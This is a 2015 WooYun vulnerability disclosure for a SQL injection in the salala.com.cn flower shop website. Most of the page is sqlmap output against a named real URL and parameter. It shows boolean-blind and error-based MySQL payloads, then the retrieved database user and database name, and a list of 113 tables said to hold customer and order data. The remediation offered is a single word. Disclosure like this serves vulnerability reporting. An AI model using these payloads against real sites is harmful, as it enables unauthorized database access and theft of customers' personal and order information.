当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0141717

漏洞标题：莎啦啦鲜花网高危SQL注入漏洞用户信息泄漏

相关厂商：莎啦啦鲜花网

漏洞作者： 岛云首席鉴黄师

提交时间：2015-09-17 11:27

修复时间：2015-11-01 11:28

公开时间：2015-11-01 11:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-17： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-01： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

- -我要给女票买花

详细说明：

注入点：

http://www.salala.com.cn/cakesearch.php?ptype=FO&cake=67


数据库用户：

---
Parameter: cake (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ptype=FO&cake=67 AND 4282=4282
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
    Payload: ptype=FO&cake=67 AND (SELECT 5547 FROM(SELECT COUNT(*),CONCAT(0x717
66a7071,(SELECT (ELT(5547=5547,1))),0x716a766a71,FLOOR(RAND(0)*2))x FROM INFORMA
TION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[11:00:30] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
[11:00:30] [INFO] fetching current user
[11:00:31] [WARNING] unknown web page charset 'db2312'. Please report by e-mail
to 'dev@sqlmap.org'
[11:00:31] [INFO] heuristics detected web page charset 'GB2312'
[11:00:31] [WARNING] reflective value(s) found and filtering out
[11:00:31] [INFO] retrieved: newsalala@192.168.0.100
current user:    'newsalala@192.168.0.100'


数据库

---
Parameter: cake (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: ptype=FO&cake=67 AND 4282=4282
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
    Payload: ptype=FO&cake=67 AND (SELECT 5547 FROM(SELECT COUNT(*),CONCAT(0x717
66a7071,(SELECT (ELT(5547=5547,1))),0x716a766a71,FLOOR(RAND(0)*2))x FROM INFORMA
TION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
[11:04:41] [INFO] the back-end DBMS is MySQL
web application technology: Apache, PHP 5.2.17
back-end DBMS: MySQL 5.0
[11:04:41] [INFO] fetching current database
[11:04:41] [WARNING] unknown web page charset 'db2312'. Please report by e-mail
to 'dev@sqlmap.org'
[11:04:41] [INFO] heuristics detected web page charset 'GB2312'
[11:04:41] [WARNING] reflective value(s) found and filtering out
[11:04:41] [INFO] retrieved: newsalala
current database:    'newsalala'


数据表

Database: newsalala
[113 tables]
+-----------------------------+
| am_account                  |
| am_account_dummy            |
| am_balance_log              |
| am_bank_name                |
| am_hj                       |
| am_limit_used               |
| am_payment                  |
| am_points_log               |
| cm_customer                 |
| cm_customer_basket          |
| cm_customer_complaint       |
| cm_customer_dummy           |
| cm_customer_favorites       |
| cm_customer_friends         |
| cm_customer_grade           |
| cm_customer_mail            |
| cm_customer_receipt         |
| cm_customer_reminder        |
| cm_customer_type            |
| cm_liuyan                   |
| festival_man                |
| festival_product            |
| friendlylink                |
| im_coupon                   |
| im_coupon_log               |
| im_coupon_other             |
| im_membership_card          |
| im_membership_card_type     |
| im_rechargeable_card        |
| im_rechargeable_card_type   |
| im_sale_card                |
| im_sale_log                 |
| im_sales                    |
| im_yintai                   |
| mm_coupon_cooperation       |
| mm_enterprise_staff         |
| om_baobiao                  |
| om_baobiao_update           |
| om_baobiao_update_log       |
| om_flowery_log              |
| om_lakala_log               |
| om_note                     |
| om_order                    |
| om_order_auto               |
| om_order_delivery           |
| om_order_delivery_log       |
| om_order_insert_log         |
| om_order_log                |
| om_zhifu                    |
| pm_attribute                |
| pm_baike                    |
| pm_class_attribute          |
| pm_component                |
| pm_component_type           |
| pm_county                   |
| pm_delivery_area            |
| pm_delivery_option          |
| pm_price_alter              |
| pm_price_factor             |
| pm_product                  |
| pm_product_attribute        |
| pm_product_bak              |
| pm_product_class            |
| pm_product_class_bak        |
| pm_product_components       |
| pm_product_dakehu           |
| pm_product_delivery         |
| pm_product_present          |
| pm_product_price_log        |
| pm_product_priceplan        |
| pm_product_priceplan_bak    |
| pm_product_qiangpai         |
| pm_product_tuijian          |
| print_setting               |
| prm_agent                   |
| prm_channel                 |
| prm_channels_banner         |
| prm_channels_recommend      |
| prm_channels_report         |
| prm_channels_settle_history |
| prm_channels_union_accounts |
| prm_channels_union_notice   |
| prm_channels_union_suggest  |
| prm_channels_union_urls     |
| prm_provider                |
| prm_source                  |
| report_0812                 |
| sm_area                     |
| sm_bulletin                 |
| sm_doc                      |
| sm_docclass                 |
| sm_docsubclass              |
| sm_mail                     |
| sm_map                      |
| sm_menu                     |
| sm_menuchild                |
| sm_permission               |
| sm_shouye                   |
| sm_sysinfo                  |
| sm_uggroups                 |
| sm_ugmembers                |
| sm_ugrights                 |
| sm_user                     |
| sm_usergroup                |
| sm_userlog                  |
| sm_userrole                 |
| sm_usertype                 |
| tbl_session                 |
| v_big_customer              |
| v_order_report              |
| v_order_with_source         |
| v_product_with_class        |
| zhuanti                     |
+-----------------------------+


用户信息和订单信息都在表里……

漏洞证明：

如上

修复方案：

过滤

版权声明：转载请注明来源 岛云首席鉴黄师@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝

漏洞评价：

评论

  1. 2015-11-08 13:43 | 岛云首席鉴黄师 ( 普通白帽子 | Rank:256 漏洞数:88 | 妈妈，我要上电视)

    @疯狗 狗哥……能补个小rank么···